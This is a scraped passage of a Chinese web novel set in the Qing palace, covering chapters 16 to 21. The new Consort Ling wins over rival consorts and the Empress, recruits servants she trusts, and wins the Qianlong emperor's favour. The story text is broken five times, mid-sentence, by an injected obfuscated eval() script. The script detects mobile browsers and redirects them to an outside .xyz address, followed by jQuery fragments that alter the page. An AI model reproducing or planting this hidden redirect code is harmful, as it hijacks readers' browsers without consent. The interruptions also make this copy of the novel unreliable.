在衣服上,魏紫菀没选那件蝶恋花收腰素白旗装,颜色太淡了,转而指向另一件芍药吻莲鱼戏水收腰淡粉旗装,主打的是衣服上给人冲击力度大,但看模样还是内敛低沉的。 魏紫菀头梳“大拉翅”,穿上淡紫锦缎的芍药吻莲鱼戏水腰间内收旗装,妆容艳丽,头上插着万岁爷赏下的银镀金嵌宝蝴蝶簪,翦水秋眸轻轻扫过,美不胜收。 两位宫女情不自禁看呆了,却立马反应过来低下头。 魏紫菀对她们的反应挺满意的,都是规矩的,而且是万岁爷赏下的人,她应该能放心用,只是到底不是自己知根知底的人。 看来她得尽快找到关嬷嬷她们了,有她们在,她才算是有了自己的班底。 …… 长春宫内,妃子们早早来到宫殿内,就连高贵妃也如此,所有人不约而同盯着原本给娴妃坐的法|轮吉祥图式紫檀直背交椅,这张交椅已经空下来了,娴妃坐到宝伞紫檀直背交椅上,不见半分被人挤压下的怨念。 法螺、法|轮、宝伞、白盖、莲花、宝瓶、金鱼、盘长结这八张交椅,是这宫里有头有脸的妃子才能坐上的地盘。 在令妃进宫前,高贵妃、娴妃、纯妃、嘉妃、愉嫔、舒嫔和怡嫔依次排序,占据了其中七把交椅,剩下的交椅,身份不足之人没资格坐上,哪怕是曾经的潜邸旧人,如今的陈贵人,也只能坐在绣墩上。 而如今,令妃成了仅次于高贵妃的四妃之首,就将除了高贵妃以外的所有高位妃子都往下挤了一个身位,所有妃子都严阵以待,看看这令妃到底是有哪儿不同,能一眼就让万岁爷为其破了规矩。 “令妃娘娘到——” 太监拉长的嗓音让所有妃子精神一凛,就连藏在内室的皇后也不由挺直腰背,心道这令妃最好别学了高氏的性子,不然就算她的到来让后宫‘热闹’起来,她也没法容忍下一个高贵妃的出现。 待令妃进来的第一眼。 所有妃子都明白了万岁爷为何会对令妃这般宠爱,甚至能为令妃破例,初封就是妃位。 那是怎样一个绝代佳人。 一身淡粉色旗装,从腰处延伸出一支正待绽放的芍药,花瓣点点,仿若在旗装上点缀上最惊心动魄的美。 容貌极盛,秾纤得衷,一双翦水秋眸胜过人间万紫千红,当是美人垂眸,如远山含黛,自成一幅山水画卷,抬眸时,如繁花绽放,风情万种,刹那惊艳。 饶是身后两位宫女一大早看过娘娘容貌无数次,也仍是会为娘娘的容貌心中微颤,天神造化莫过于此了吧。 更别说直面令妃的众多宫妃了。 沉鱼落雁、闭月羞花之姿让好些人自觉惭愧。 嘉妃好不容易回过神来,心里嘀咕,这样美的人,不宜交恶,只宜交好,便一下子缓和了脸色,“令妃姐姐,快来我这边。” 她招手,生怕令妃看不到她。 高贵妃下首是娴妃,娴妃对面是纯妃,纯妃下首是嘉妃,这样算来,魏紫菀跟她是对面偏上的位置,但这丝毫不掩盖她的热情。 魏紫菀依言落座,“这位就是嘉妃妹妹了吧。” 宫里论姐妹只论位份高低,不论年龄大小。 魏紫菀叫她一声妹妹合乎道理。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358005|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,早就听闻令妃姐姐仙人之姿,今日一看,果然不枉妹妹期待。”嘉妃说瞎话犹如喝水般简单,什么早就听闻,皇帝岂会让后宫妃子得知那么多事儿。 魏紫菀也明白这个道理,但不妨碍她对嘉妃的热情很受用,“妹妹谬赞了。” 她眉眼弯弯,嫣然一笑,明眼人都看出她是个极好相处的美人儿。 纯妃不自觉松了口气,她最厌恶后来居上者霸占帝王宠爱,但对令妃,她着实起不了这种心思,一是万岁爷对她看重,二是令妃是大选秀女出身,这是她远远比不过的。 论家世,她压不过令妃,论资历,那是位卑者才比的东西,令妃初封就是妃,她拿什么比,论子嗣,以令妃的宠爱,只要别是早逝的命和身子羸弱的毛病,迟早会有自己的子嗣的。 最重要的还数令妃以自己的容貌就能让帝王破例了,初封妃首,不宜得罪。 这兴许就是第二个高贵妃,好在令妃不似高贵妃般难处。 几乎一瞬间,纯妃同嘉妃升起一样的念头,能在宫里十多年稳如磐石,以潜邸格格身份稳步升妃,气势几乎要将原本的潜邸侧妃娴妃比肩,两人并非只会勾心斗角。 倘若令妃是大选进宫但初封只是贵人,两人会想办法压着令妃位份,但令妃初封就是妃了,还是四妃之首,一进宫地位就稳固了,她们拿什么压着令妃位份。 审时度势,是每个宫里人都会的事。 纯妃也笑盈盈道:“姐姐果然深得万岁爷宠爱,若妾身是男子,以姐姐的容貌,怕是对姐姐深情难忘了。” 说这话时,她有意无意瞥向高贵妃,这些日子高贵妃找替身不成反失了帝王看重的事儿,不光高贵妃本人意识到这点,旁人看得更清楚。 万岁爷这是压根不理会贵妃娘娘病弱的身子,找上一个容貌比贵妃娘娘更盛的女子了。 这可比高贵妃亲自选来替身更让人刺激啊。 也算是搬起石头砸自己的脚了。 纯妃掩下嘴边的笑意。 17. 第 17 章 魏紫菀莞尔一笑,“纯妃妹妹嘴真巧。” 宫妃位置依据位份依次排列,魏紫菀就算没有原身记忆也能知道谁是谁。 至今位置,妃位尚未开口的只剩贵妃和娴妃了。 娴妃见她看过去,颔首示意。 魏紫菀眸底笑意更深几分,也轻轻点了下头。 看来身份够了,这些潜邸旧人就会很好相处,先敬罗衣后敬人,古人诚不欺我也。 就只剩下贵妃了。 她毫不畏惧抬头看向贵妃。 只见高贵妃左手紧紧抓着椅柄,模样深受打击,差点呢喃出来,“怎会这样……” 令妃的容貌比她更盛不是最让她受打击的,而是她透过令妃的眉眼,后知后觉令妃骨相跟她有三分相似,加上令妃在大选前十多年的包衣奴才身份! 若是令妃没有逢上抬旗和大选的时机,令妃就是她最合适的替身! 天时地利人和!哪怕让她占据其中一个,她都不会像今日这般想呕血了,老天爷到底要怎么戏弄她,一个容貌极好又与她相似还是包衣奴才出身,本应成为她最好的傀儡的女子,就这样堂而皇之大选进宫,被万岁爷封妃,成为她没法掌控的存在! 大受刺激下,高贵妃还真感受到喉咙传来一股血腥味,她赶紧用帕子挡住嘴唇,咳了两下,才平稳心脉。 “娘娘。”秋水在身旁轻轻拍打她后背。 但是情绪上的波动岂是这么容易就平复下来的。 她仍是不愿相信。 哪怕上天让她在令妃全家被抬旗前遇到令妃,或是在选秀之时让她瞥见一眼,又或是万岁爷初封令妃只是常在或贵人,她都能让令妃成为她的傀儡,可恨没有! 令妃还成了万岁爷的新宠,成为她的威胁。 高贵妃极力压制那股想毁掉一切的冲动,从前涌上的种种想法霸占了她的心神。 她想,果然老天就是拿一件件让她自以为幸运的事糊弄她,她光是霸占万岁爷恩宠有何用,年老色衰,恩宠不再,她该做的事是养好身子,以待熬死皇后,坐上后位,或是让皇后眼睁睁看着她生下孩子,而自己索求的嫡子始终不得。 她难得的、强撑起笑容,“令妃妹妹果真好容色。” “贵妃姐姐这般说妾身,倒是将妾身说得满脸羞红了。” 魏紫菀浅笑连连,高贵妃却不小心折断了自己指尖的护甲,果然她心里接受不了有新人霸占帝王恩宠,只是她棋差一着,万岁爷已经不信她了。 从前有多恩爱,就有多清楚万岁爷多无情,她想要回从前的恩宠,难如登天! 万岁爷倒是能看在她过往情份上,在她死前封她做皇贵妃。 高贵妃嘴角溢出一丝苦笑,万岁爷抽身抽的真容易啊,她也着实是忘了自己的身份,谁也怪不得。 堂上陷入一片寂静。 陈贵人借着旁人低头无声的时候,多看了一眼令妃娘娘。 便是一而再再而三被令妃仪态倾倒,单看令妃模样,只以为这是哪家世家大族养出来的贵女吧,可令妃娘娘出身她却是一清二楚,是汉军正黄旗魏氏一族的女儿,是小家小户的出身。 由此可见,令妃娘娘出息还在后头呢。 她心念一动,倒是觉得跟令妃娘娘同住在储秀宫是件幸事了。 魏紫菀从前是宫女,再往前追溯也只是一个现代女子,让她学来贵女的仪态,那断然不可能,但她有了原身的记忆,便一举一动向原身做高位的那二十多年靠拢。 这就成了外人眼中对她的形象高看一眼,第一印象给人留下的印象足够深刻,往后,她得成为宫妃们眼里不好惹的代言词。 她很喜欢这种不怒而威,亲而不犯的感觉,回想起原身的种种遭遇,原身就输在了非潜邸旧人和以宫女身份成为宫妃这点,原身能耐、厉害,却总有人将原身的忍耐当作傲慢的资本。 可现在不会有这种事发生了……魏紫菀抬头环视四周,瞧瞧这些宫妃,倒也有意思,不约而同低下头,只有她和高贵妃还平视着。 这些人稳如狐狸,魏紫菀的心一瞬间定了,看来往后躺平的日子指日可待,只需要将她班底聚齐,美好日子等着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358006|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 正在魏紫菀深思时,一道清冷温和的声音响起,“看来妹妹们都来齐了。” 抬头一看,正是皇后娘娘。 皇后娘娘身穿月色旗装,不施粉黛,以通草绒花为饰,果真生性节俭。 冬菊扶着皇后娘娘走到众人面前,妃子们纷纷起身,“给皇后娘娘请安。” 皇后落座,抬眸看向令妃,也是为令妃容色惊了一惊,竟然比高贵妃容貌更盛。 半响,在其他妃子就要坚持不住时,皇后看着令妃一如既往的姿势,脸上不见倨傲,心里微松。 令妃看着像是要成为第二个高贵妃,可性子并非贵妃般目中无人,也算是个好消息。 往后就看令妃怎么将后宫闹腾起来了。 而贵妃,眼下怕是经受不住这般打击吧。 一刻钟过去,皇后才终于放话,“都起来吧。” “是,皇后娘娘。” 魏紫菀气息平稳坐下,刚一坐下,皇后便轻声敲打她好好伺候万岁爷。 她精神一凛,“是,妾身遵命。” 后宫最大的主儿不可得罪,魏紫菀最是清楚明白这个道理。 敲打完令妃,皇后转头关心起皇子阿哥们,魏紫菀全程认真旁听,不做发言,这一切都入了皇后娘娘眼。 等散会后,魏紫菀看着高贵妃离开,这才起身回去。 皇后轻轻敲打桌面,“令妃容色倾城,好在她知道自己身份,不会恃宠而骄。”只要不是第二个高贵妃,什么都好说。 以前是盼着怡嫔妹妹、林氏和索绰络氏闹腾,现在多出一个令妃,倒也不碍事。 “娘娘,听说高大人已经寻到了那位大夫。” “是吗?” 谈及要事,皇后神色愈发严峻了。 “让富察氏动作快些吧。” 喜嬷嬷压低声音,“是,娘娘。” 高氏盼着养好身子,皇后也盼着再次生下嫡子。 对于皇后而言,只要能让她再度怀上嫡子,就是再多再难吃的药,她也能一鼓作气吞下去。 18. 第 18 章 只怕富察一族找寻来的药是不管用的,到时不光废了心力,还因常年吃药将身子折腾得浑身药味。 皇后微微叹了口气,后宫的皇子都不是威胁,万岁爷只看重嫡子,可她也怕在自己再次生下嫡子之前,贵妃身子会好转,届时贵妃仗着曾在万岁爷心里似妻子的地位生下一儿半女,就是她最大的威胁了。 胜似妻子的妃子生下一儿半女,谁说得准万岁爷不会将这一儿半女当作嫡子嫡女看待,贵妃从前还是万岁爷潜邸侧福晋,在清初,侧福晋和嫡福晋身份差别不大,都是妻。 一想到这种可能,这宫里任何事都没法扰乱她心绪,即便有容貌倾国的令妃出现,也不过如此。 “娘娘,和敬公主求见。” “和敬来了,让她进来吧。” “皇额娘,和敬给您请安。”一个约莫十四岁的小姑娘一把揽住皇后手臂,对仅剩的孩子,皇后一向足够纵容,“怎么来找皇额娘了,嗯?” “女儿想皇额娘了,今天皇额娘就陪陪女儿可好?” “好,有什么不好的。”皇后含笑道。 只是,看着古灵精怪的女儿,心里一股遗憾升起,若是她的永琏长到现在,都能娶嫡福晋了,她也不必苦苦盼着嫡子,贵妃也远不是她的对手。 可惜当年去的是永琏,偏偏是永琏。 …… 咸福宫,宫里一片急躁的脚步声传来,时隔好几个月,总算来了个好消息。 喜嬷嬷脸上笑意掩不住,激动道:“娘娘,大喜事啊!” “什么喜事……”高贵妃厌厌道。 “娘娘,高夫人有孕了,正好一个月!” “额娘有孕了?”高贵妃眸子微微闪动,额娘多年不曾开怀,这都四十来岁了,居然有孕了,“若她生下的是我的四妹妹,我倒欢喜。” 反之就是跟她弟弟争家产了,但是阿玛这一脉子嗣稀薄,多出一个弟弟没什么不好的,何况她同母弟弟已经大了,再来个小的,不足为患。 因此高贵妃在这方面倒是想得开,“不过府中添丁,始终是喜事,这话也不差。” “娘娘,奴才说的不是这个喜事。”喜嬷嬷五官乱飞,高兴得忘了形,“您可记得夫人身子弱,徐大夫给夫人调养身子,不过半月就怀上身孕了,若是让徐大夫进宫调养您的身子,您身子必然能好。” 要知道术业有专攻,这大夫也分擅儿科还是妇科,高斌找来的正是极其擅长妇科的大夫,只是早些年隐姓埋名在一方教书育人,高斌找了好些年才找到,也算是上天庇佑了。 高贵妃半信半疑,“若这人真这般厉害,富察一族不早给皇后寻来了。” “娘娘!”喜嬷嬷一边心急一边耐心劝道,“这怎能一样,皇后娘娘身子没问题,这些年也养到最好的程度了,皇后娘娘怀不上嫡子,只能说是上天缘分,可您是身子弱,得大夫调养身子才行。” “子嗣都看缘分,可若是母亲身子不好,这缘分也散了啊。” 喜嬷嬷咬咬牙,干脆将最厉害的话说出来点醒自家娘娘,以自家娘娘的身份地位,只要生下一个阿哥,就是众多子嗣中生母位份最高的,万岁爷只看重嫡子,可若是皇后始终没有嫡子,那只能看重娘娘之子了。 高贵妃始终不敢想自己有子嗣一事,这对她来说是个奢望,但是她盼着自己身子转好却是不争的事实。 “去禀告万岁爷一声吧,让徐大夫进宫,若是真有本事,赏黄金百两。” “是,娘娘!”喜嬷嬷犹如打了鸡血,急冲冲出去了。 …… 储秀宫,现在摆在魏紫菀面前的是一个难题。 只要她一声令下,内务府必然会派奴才供她选择,就凭她一进宫就是妃位,内务府的奴才识相极了。 可问题是,她并不想要内务府的奴才,她想要关嬷嬷和子衿以及李祖德。 不为其他,就为这三人清楚她早年进宫的身份,况且这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358007|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三人的人品是可信的,子衿是原身一生相伴的心腹奴才,关嬷嬷接连伺候过两个阿哥,这个岁数了还有野心,是个有拼劲的,不然也不会帮她打掩护。 最重要的是,这两人心地是好的,这人品问题决定了魏紫菀选她们的关键,倘若是不利于她的人,这会儿她可就想着怎么将这两人弄出宫了,而非要到身边当心腹。 至于李祖德公公,得是万岁爷的人手,让这人到身边伺候,他自然而然会紧闭嘴巴,帮她打点好储秀宫,只是她不清楚李公公心思,不清楚他是要待在景阳宫‘颐养天年’,还是到储秀宫继续操劳。 魏紫菀轻轻叹了口气,身旁两位宫女赶紧嘘寒问暖,“娘娘,您可是累了?奴才扶您进去休息吧。” 魏紫菀只看了她们一眼,“本宫没事,都退下吧,本宫乏了。” 青柳和绿萍有些不知所措退下,心里都慌,看来主子对她们不甚满意,不然这会儿就敲打她们或是吩咐她们办事了。 这无疑是个坏消息,她们想尽办法挤进储秀宫,就奔着令妃娘娘的心腹奴才而来,但是令妃娘娘心里有主意,大概是等着内务府的奴才了,这可如何是好。 两人惶惶不安,一时间做什么都没有斗志了。 ——魏紫菀倒没有她们想象中的无情,她身边想安插心腹,但也不会落下最初陪在她身边的两人。 她只是在烦恼用什么理由将关嬷嬷和子衿要来,李祖德那不成问题,她去景阳宫要点书来看,‘顺道’跟李祖德说会儿话,问问他意思,成不成全看李祖德。 但是关嬷嬷和子衿在长春宫,那可是皇后娘娘的地盘! 她平白无故去找皇后娘娘要人,不就是摆明告诉皇后娘娘,她心里有鬼吗。 这招肯定不行。只能想别的办法了。 魏紫菀眸子微动,“来人,随本宫去景阳宫。” 说干就干,最起码解决掉储秀宫的总管太监一职,她这储秀宫可还缺着管事的人。 19. 第 19 章 “是,娘娘。”绿萍和青柳两人立马振作了,一左一右跟在主子身边。 陈贵人一直在养和殿观望着,见令妃娘娘离去,面上长长叹了口气,宫女安慰道:“娘娘,今时不成,等令妃娘娘回来,您再求见也不迟。” “是不迟,还是明儿内务府奴才过来后再说吧。”陈贵人只想抓紧时机求见令妃娘娘,不早不晚,得是令妃娘娘安置好身边人时,不然她这就不是投诚,而是存心找不快了。 陈贵人别的不清楚,但作为万岁爷潜邸旧人的她,最是明白上位者的尊严不可冒犯,经历过嘉妃、纯妃、愉嫔三人跟她本是潜邸格格的身份,但如今一个个都在她之上。 本是故人,见面却故作不识。 陈贵人还有什么不明白的。 景阳宫,魏紫菀不过寻来两本书,就见到了李祖德。 李祖德对她的到来显然有些意外,却也不是非常惊讶,魏紫菀让两个宫女离远些把风,李祖德让身边的小徒弟去打桶水过来抹桌子。 “娘娘,您有话直说吧。” 李祖德心里感叹,令妃娘娘果然如他所想,是个有前途的。 只是不知令妃娘娘找上他是何意,想让他闭上嘴巴,还是说想将他收归储秀宫。 想起令妃娘娘一进宫就是妃位,这般能耐,李祖德更倾向令妃娘娘念的是后者,令妃娘娘不可能不明白万岁爷让他闭嘴,他这辈子都不会说出这事的道理。 他惯来明哲保身,但若是伺候令妃娘娘,他心里并不觉得抗拒。 想到这,李祖德心里好笑,倒是头一回认识到自己心思了,看着想颐养天年,可盼着遇到一个良主往上冲一把的念头还在心里蠢蠢欲动,总不能同时进宫的其他老熟人都去伺候贵主儿了,他还在景阳宫当闲差儿吧。 魏紫菀轻笑道,“本宫的话摆在这里了,储秀宫还缺两位总管太监,若是你来,本宫放心你,你也尽可给本宫展示你的本事,若是你足够能耐,储秀宫就只留一位总管太监,可若是你本事摆在那儿,本宫寻思得再找一位能干的奴才了。” 李祖德心情畅快,“奴才必然是恭敬不如从命,使出全副身家本事,定不让娘娘考虑第二位总管太监。” 一个宫所可有两位总管太监,令妃娘娘在没见识到他本事之前就敢这么放心他,换做是旁人,他必然觉得这位主子考虑不周到,但这人换做是他,他心情那叫一个愉快,只觉得令妃娘娘是胆大却不妄断。 怪不得古人总说士为知己者死,哪怕他跟令妃娘娘没有主仆情,单听令妃娘娘这话,就想豁出去为令妃娘娘办事了。 这般赏识自己的主子可就令妃娘娘一个了。 “如此甚好,你且等着吧。” 魏紫菀心下一松,李公公远比她想的好解决,等李公公来储秀宫那日,得是凭着李公公人脉接触到关嬷嬷了,总之就一句话,在草班台子没架起之前,切勿打草惊蛇。 “奴才恭送娘娘。”李祖德恭恭敬敬行礼,魏紫菀将两本书递给青柳,绿萍自然上前询问,“娘娘可要在御花园走走。” “不必,直接回去吧。”魏紫菀笑意盈盈,心想绿萍真人如其名,性子沉稳安静,青柳则性子活泼,如杨柳好随风飘扬。 子衿结合了两人性子,外表看着大大咧咧,实则心细如发。 她只庆幸原身跟子衿交往也就半年,她过来后,再添上半年,足以让子衿对她的印象慢慢发生转变,变成深交的关系,加上有了原身的记忆,子衿确实是她能放心的存在。 而且,凭子衿的资质,只在长春宫当末等宫女确实是可惜了。 魏紫菀敏锐地察觉到青柳绿萍两人的躁动,边走边说,“妃位可有四位一等宫女,你们俩只要别背叛本宫,自然有你们的一份子,只是本宫眼里容不得沙子,你们最好记得了。” “是,娘娘。”两人精神一凛,倒不在意娘娘的敲打,只记住了那句一等宫女有她们的份,一时间喜上眉梢,更是恨不得献上忠心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14358008|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她们一颗心红艳艳的,天地可鉴! 回到储秀宫后,绿萍守在门口随听使唤,青柳忙上忙下,一股子干劲将正殿除了娘娘所在的里间的其余四间都打理得干干净净。 储秀宫无主足足九年,一朝迎来了自己的主位娘娘,如同吹去尘灰的明珠,璀璨明亮。 照理说,干活的不该是绿萍一人,但谁叫令妃没派人去内务府,而万岁爷又特地吩咐过,一切随令妃娘娘心意,那就只能是绿萍干活了,她还兴致盎然,不愿偏殿奴才帮忙。 眼下内务府的奴才急得团团转了,就怕哪里不周到,得罪了新进宫的宠妃娘娘。 与之相反的是储秀宫一片祥和宁静,魏紫菀翻看两本书,觉得有几分无趣就放下了,古代不同现代,现代很多字都是简单化了的,书面表达也直截了当,这就意味着,她现在是半个文盲,一切得从新开始。 等过些日子,她将这两本书的字都认识大半后,可去景阳宫要些碑帖书画了,书法就从临摹开始,得亏万岁爷起初迷恋她颜色,没有认清楚她的内在。 趁万岁爷脑子还不清楚,她得赶紧将学识这方面补上,争取不露破绽,不让万岁爷后悔自己纳了个文盲为妃。 话说宫里的宫女大多是识字的,太监是不准识字的。 子衿是穷苦人家的女儿,大字不识,但关嬷嬷本姓瓜尔佳氏,看来得让关嬷嬷叫她认字了。 清扫文盲,从她做起! 魏紫菀眼神坚定得犹如看到了财神爷降世,不带半点迟疑的。 当晚,皇上再次过来了。 魏紫菀摆上了自己白天折腾出的奶/子/茶,新鲜醇厚,童叟无欺! “妾身给万岁爷请安。” “爱妃平身。”乾隆看着令妃脸色红润,心知爱妃今日修养的不错,颇为欢喜地嗯了一声,但低头一看,桌面上摆着奶/子/茶,似乎能闻到□□茶传来的甜腻味,他兴致勃勃坐下,“你这是打听到朕喜欢的奶/子/茶了?” 20. 第 20 章 不错,他很欢喜。 油灯下,见紫菀肤若凝脂粉若桃花,青葱长指落在桌面,端起一碗奶/子/茶,端得秀色可餐。 乾隆毫不客气接过奶/子/茶,直接喝下去,一口下去,这奶/子/茶不同于放盐的咸淡,也并非放糖的粘腻,喝起来还挺清爽的。 玉液珠胶,雪腴霜腻,吹气胜兰,沁入肺腑。 这是他喝了第一口奶茶的感想,而且出乎他意料,这奶茶居然是甜口的,他平常喝惯了咸口奶茶,没想到这甜口的还怪有滋味,并且,里面的木瓜配以甜口奶茶十分滋味。 乾隆哈哈大笑,“朕还以为你准备的是咸淡口味。” “万岁爷偶尔尝尝看清甜口味的嘛,妾身这还准备了木瓜做奶/子/茶佐料,一并煮了,味道格外香醇。” 魏紫菀双手支颐,她知道皇上热衷奶/子/茶,还写过“酪浆煮牛乳,玉碗拟羊脂。御殿威仪赞,赐茶恩惠施。”的诗句。 对奶/子/茶的要求也挺高的,得当天产的牛奶,当天从玉泉山取的山泉水,配以青砖茶叶,以及上好的青盐和乳油等物,再拿来自己专用的白玉镶宝石奶茶碗。 可谓十分精致了。 她准备不了万岁爷喜欢的奶/子/茶,那就用她的方式来了,她喜欢甜奶茶,就让万岁爷尝尝她从现代带来的手艺。 “不错,虽不是上等的佐料,却也别有一番滋味。”乾隆轻咳了一声,终究没让爱妃期待的眼神落空,这清甜口味的奶/子/茶,偶尔尝尝也挺好的。 “若是万岁爷喜欢,那婢妾日后都为万岁爷备着可好?” 她目露期待,乾隆不假思索答应了,转头吩咐李玉给令妃的乳牛分例按贵妃位的四头八斤来,从他拿出分拨,魏紫菀心情一下子开朗了。 贵妃的乳牛分例是四头,一天总共八斤,妃位三头,嫔位两头,她是妃位不错,可从明儿起,她的牛乳供应就照比贵妃,让她做出各种奶茶、杏酪羹和牛乳饼羹等奶制品,就这份量,可以让她随心所欲了。 “便是能日日见到万岁爷,让妾身日日为万岁爷洗手作羹汤也不在话下。” “你愿意,可朕就舍不得了。”乾隆哪可能让自己妃子干奴才干的活,“你便是仔细吩咐人盯着点柴火时辰,朕就高兴了。” 宫妃们号称亲手做的羹汤无外乎此,都是看着点时辰,就当是自己亲手做的了。 魏紫菀莞尔一笑,“万岁爷就别打趣妾身了,妾身要么就不煮,要么就从洗菜到烹煮不假手于人,这样妾身才有信心端出羹汤让万岁爷品尝一二。” 都说饱暖思□□,乾隆将她抱在怀里,“储秀宫可没备着小厨房。” “所以妾身就不亲自下厨了,等哪天有了小厨房再下厨。” “你倒是实诚。”乾隆失笑,耳鬓厮磨,声音渐渐低沉,“怎么今日不安置好储秀宫奴才?” “万岁爷,妾身想让李祖德过来储秀宫当总管太监,您说好吗?妾身还想让关嬷嬷和子衿过来,她们都是我相识已久的老朋友了。”魏紫菀知道今日之事是不可能瞒过万岁爷的, 乾隆目光深邃,“你想让她们过来储秀宫?可今儿你是主子,她们是奴才。” 魏紫菀不以为然,“万岁爷,就算如此,妾身待她们总是不一样的,我看重的人,身份只是其次,若是性子不和,妾身这会儿想着的就是让她们出宫了。” “紫菀,你再叫朕一声圆寿。”乾隆心情出乎意料的好,抚摸着爱妃侧脸,他真是喜欢极了爱妃的实诚,坦坦荡荡的目的以及光明正大的偏好。 “圆寿?”魏紫菀侧过脸看他。 乾隆喉咙里发出一道喜悦的笑声,“朕允了,只是朕给爱妃行方便,爱妃想要怎样感谢朕?” 这还得感谢?不是说一声的事吗? 魏紫菀眼睛闪过一丝迷茫,被乾隆看在眼里,笑意更浓,吻上去。 …… 翌日并非请安的日子,且风和日丽,大好时光。 魏紫菀早早起来伺候万岁爷洗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369379|152812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漱用膳,摸了一把酸痛的腰,决心不光抓紧扫清文盲,还得积极锻炼身体了。 随后便派人去一趟景阳宫让李祖德公公过来,李祖德动作极快,在魏紫菀收拾好自己坐在正殿宝座上时,就在院子里低头请安了。 “李祖德,过会内务府派人过来,你替本宫察看一二。” “是,娘娘。”李祖德精神振奋,恨不得立马撸起袖子干活。 “青柳绿萍,你们就听李公公吩咐,李公公今后为储秀宫总管太监。” “是,娘娘。”青柳绿萍二人纷纷点头。 不多一会儿,李祖德就新官上任三把火,将储秀宫里里外外打听清楚,还让几位低位妃子身边的奴才出来帮忙干活,等一切事宜安排妥当,魏紫菀独留李祖德在跟前,“李公公,你可知关嬷嬷?” “长春宫关嬷嬷?”李祖德脑子一转,立马反应过来。 “是,她和子衿都知本宫来处,你想办法给她带一句话,本宫留着这储秀宫姑姑的位置等着她,若是可能,让她将子衿也一并带来吧,若是不愿,本宫也不为难她,只是事关本宫身份,她不得胡言乱语。” 魏紫菀深知狡兔三窟,关嬷嬷伺候过多罗果郡王,又伺候过端慧皇太子,或许不用她特地安排,关嬷嬷自有门道寻来储秀宫。 “是,娘娘。”李祖德倒是惊讶只听闻过一耳的关嬷嬷居然是娘娘相识的奴才,还有那名为子衿的宫女,看来无论如何都得将两人要到储秀宫了,不然知道了娘娘身份的两人,留不得。 …… 长春宫,关嬷嬷在得知令妃娘娘姓魏,打听清楚娘娘出身,便知紫菀成功了。 她心里也算是激动,有种果然如此的感觉,只是她不清楚令妃娘娘会将她这位知道她身份的奴才怎么样,还有子衿,子衿也知道娘娘身份。 但不出两日,便有人寻上她,她面临两个选择,要不是一辈子守口如瓶,要么是留在储秀宫为娘娘办事。 她松了口气,含笑选了第二个。 21. 第 21 章 她没理由不选第二个。 这些年她在长春宫过的不算舒心,皇后娘娘虽然没有苛待她,可也不见有多重视她,她一身本事都无处可用,去投奔其他有子的妃嫔吧,人家有从潜邸里带来的忠奴,用不上她。 况且她的本事也绝不让她屈居人下。 眼看着只能一辈子无用武之地看着同僚受宠了,但峰回路转,她隐隐寄托希望的令妃娘娘如她所愿上位了。 她意识到自己机会来了,一个东山再起的机会。 她自有投靠娘娘的办法,只是子衿这里,她还特地问了一遍可要随她去投奔娘娘。 子衿理所当然,“嬷嬷你要去储秀宫,娘娘也在那,那我当然得跟着去了。” 在长春宫就她一个人,她怎么选择不是很简单吗,她还怕娘娘忘了她,好在没有。 这姑娘想得倒简单,关嬷嬷松了口气,算计着时机,在留意到谦太妃午睡醒来后,她特地去求见谦太妃了。 她曾经伺候过果郡王,而谦太妃是果郡王生母,还记着她这份情。 只是她不轻易求谦太妃,她知道她这辈子只能求谦太妃一次,这份人情最好用在刀刃上。 